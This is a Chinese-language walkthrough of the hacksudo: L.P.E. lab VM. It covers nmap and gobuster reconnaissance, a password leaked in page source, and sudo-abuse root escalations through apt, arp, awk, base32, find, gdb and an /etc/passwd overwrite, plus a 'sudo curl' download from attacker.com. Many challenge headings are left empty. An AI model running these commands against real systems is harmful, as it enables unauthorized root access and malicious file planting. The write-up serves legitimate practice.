权限提升专项训练靶场:hacksudo: L.P.E.
hacksudo: L.P.E.
来自 <https://www.vulnhub.com/entry/hacksudo-lpe,698/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.155
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.155
1. 22/tcp:SSH 服务(OpenSSH 7.9p1 Debian 10+deb10u2)
- 服务信息:SSH 协议版本 2.0,运行于 Debian 10 系统(对应 “buster” 版本),OpenSSH 版本为 7.9p1(Debian 定制版,含安全补丁deb10u2)。
- 密钥信息:暴露 3 类 SSH 主机密钥(用于客户端验证服务器身份):
- RSA(2048 位):2a:ad:52:59:dc:7f:b0:e3:5b:47:36:d2:e7:1d:1a:5a
- ECDSA(256 位):d6:3f:d5:8e:fe:10:f5:bc:2c:a8:53:3b:78:ec:30:4e
- ED25519(256 位):b5:1e:df:2d:3f:3f:c6:f9:ca:37:a7:dc:8c:ba:c2:fa
- 风险点:
- OpenSSH 7.9p1 虽无 “高危” 漏洞,但仍需警惕弱口令攻击(若管理员使用简单密码,易被暴力破解)。
- 若未禁用 “密码登录”(仅允许密钥登录),攻击者可通过 Hydra、Medusa 等工具发起字典攻击。
2. 80/tcp:HTTP 服务(Apache httpd 2.4.38 Debian)
- 服务信息:Apache 2.4.38(Debian 定制版),网站默认页面为 “Sign in”(登录页),实际请求资源为login.php,推测是一个PHP 动态网站(依赖 PHP 会话管理)。
- 关键风险点:
- Cookie 安全缺陷:PHPSESSID(PHP 会话 ID)未设置HttpOnly标志 —— 这意味着前端 JavaScript 可读取PHPSESSID,若网站存在 XSS(跨站脚本)漏洞,攻击者可窃取会话 ID 实现 “会话劫持”,冒充合法用户登录。
- Apache 2.4.38 风险:该版本(2019 年发布)存在部分已知漏洞(如 CVE-2021-41773 路径穿越漏洞、CVE-2022-22720 内存泄漏漏洞),虽非 “远程代码执行(RCE)” 级高危,但需确认是否已安装最新安全补丁。
- 登录页风险:login.php可能存在 “暴力破解”(无验证码 / 登录次数限制)、“SQL 注入”(若用户名 / 密码参数未过滤)等风险,需进一步渗透测试验证。
3. 4200/tcp:SSL/HTTP 服务(ShellInABox)
- 服务信息:ShellInABox是一款 “网页版 SSH 终端” 工具,允许通过浏览器(HTTPS)访问目标主机的命令行界面,本质是远程命令执行入口,风险等级极高。
- 关键风险点:
- 证书有效性问题:
- 证书主题commonName=debian(仅标注系统名,未绑定域名 / IP),不符合 SSL 证书规范,浏览器会提示 “证书不可信”,可能导致用户误判风险。
- 证书有效期异常:2021-05-01至2041-04-26(有效期 20 年),远超常规 SSL 证书(1-3 年)的有效期,可能是自签名证书且未定期更新,存在私钥泄露风险。
- TLS 随机数问题:ssl-date脚本检测到 “TLS randomness does not represent time”——TLS 握手时生成的随机数未关联当前时间,可能导致 TLS 会话加密强度降低,增加被 “中间人攻击(MITM)” 破解的风险。
- 高权限入口风险:ShellInABox直接映射系统终端,若登录凭证(用户名 / 密码)泄露,攻击者可直接获取目标主机的系统级权限(如 root 权限),执行任意命令(删改文件、植入木马、横向渗透等)。
- 证书有效性问题:
4,访问80端口的http服务
被跳转到登录页面,扫描其子目录
gobuster dir -u http://192.168.23.155 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400
查看登录首页源码就得到了泄露的账户密码
Username : admin Password : hacksudo 登陆成功
可以看到是存在8个提权挑战,根据靶场的名称可以猜到是sudo命令相关的提权练习
5,进入挑战一 user1
4200端口是一个web网页的控制台,直接能够在网站操作靶机后台
这会调用默认的分页程序(通常是 less),也可能适用其他功能
查看apt软件包的更新日志
sudo apt-get changelog apt
声明脚本使用的解释器为sh
!/bin/sh
6,进入挑战一 user2
如果该二进制文件允许通过 sudo 以超级用户身份运行,它不会放弃提升后的权限,并且可能被用于访问文件系统、提升权限或维持特权访问。
LFILE=待读取的文件
sudo arp -v -f "$LFILE"
7,进入user3
语法解析:awk是 Linux/Unix 系统中的文本处理工具,BEGIN表示在处理文本前执行后续代码;system("/bin/sh")用于调用系统命令,此处会启动一个/bin/sh(系统 shell)进程。
权限风险:通过sudo执行该命令时,awk以超级用户(root)权限运行,启动的/bin/sh也会继承 root 权限,攻击者可借此获取目标系统的最高权限,属于典型的 “权限提升” 操作。
8,进入user4
LFILE=/root/root.txt
sudo base32 "$LFILE" | base32 --decode
9,进入user5
10,user6
11, user7
12,user8
13, user9
14,user10
通过复制/etc/passwd,修改passwd文件,使用openssl生成用户密码,并添加用户账户到passwd文件中覆盖/etc/passwd文件
15,user11
URL=http://attacker.com/file_to_get # 远程文件的URL(攻击者服务器上待获取的文件)
LFILE=file_to_save # 本地保存文件的路径及名称
sudo curl $URL -o $LFILE # 使用curl工具下载远程文件,并以指定名称保存到本地
补充说明:
- curl 命令解析:curl是 Linux 系统中常用的网络传输工具,支持 HTTP、HTTPS 等协议;参数-o $LFILE表示将下载的远程文件内容,以 “覆盖写入” 的方式保存到LFILE指定的本地文件中。
- 权限风险:若sudo配置允许普通用户以 root 权限执行curl,攻击者可通过此命令从远程服务器(如attacker.com)下载恶意文件(如木马、脚本)到目标主机,并以 root 权限保存(如保存到/usr/bin等系统目录),后续可通过执行该恶意文件获取系统最高权限,属于典型的 “恶意文件植入” 风险操作。
16,user12
17,user13
18,user14
19,user15
20,user16
21,user17
sudo find . -exec /bin/sh \; -quit
22,user18
23,user19
24,user20
sudo gdb -nx -ex '!sh' -ex quit
25,user21
26,user22
27,进入user31
sudo su